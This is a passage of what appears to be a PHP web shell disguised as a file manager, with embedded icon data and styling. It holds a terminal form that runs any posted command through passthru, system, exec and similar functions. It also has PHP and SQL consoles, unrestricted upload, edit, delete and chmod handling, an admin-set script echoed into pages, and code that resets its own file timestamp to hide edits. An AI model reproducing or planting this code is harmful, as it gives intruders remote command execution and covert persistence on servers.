5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
